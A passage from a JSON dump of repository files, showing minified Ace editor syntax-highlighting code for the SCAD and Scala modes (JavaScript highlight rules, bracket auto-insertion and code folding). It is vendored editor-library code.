u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/scad\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "antSword/static/libs/ace/mode-scala.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/scala_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"case|default|do|else|for|if|match|while|throw|return|try|catch|finally|yield|abstract|class|def|extends|final|forSome|implicit|implicits|import|lazy|new|object|override|package|private|protected|sealed|super|this|trait|type|val|var|with\",t=\"true|false\",n=\"AbstractMethodError|AssertionError|ClassCircularityError|ClassFormatError|Deprecated|EnumConstantNotPresentException|ExceptionInInitializerError|IllegalAccessError|IllegalThreadStateException|InstantiationError|InternalError|NegativeArraySizeException|NoSuchFieldError|Override|Process|ProcessBuilder|SecurityManager|StringIndexOutOfBoundsException|SuppressWarnings|TypeNotPresentException|UnknownError|UnsatisfiedLinkError|UnsupportedClassVersionError|VerifyError|InstantiationException|IndexOutOfBoundsException|ArrayIndexOutOfBoundsException|CloneNotSupportedException|NoSuchFieldException|IllegalArgumentException|NumberFormatEx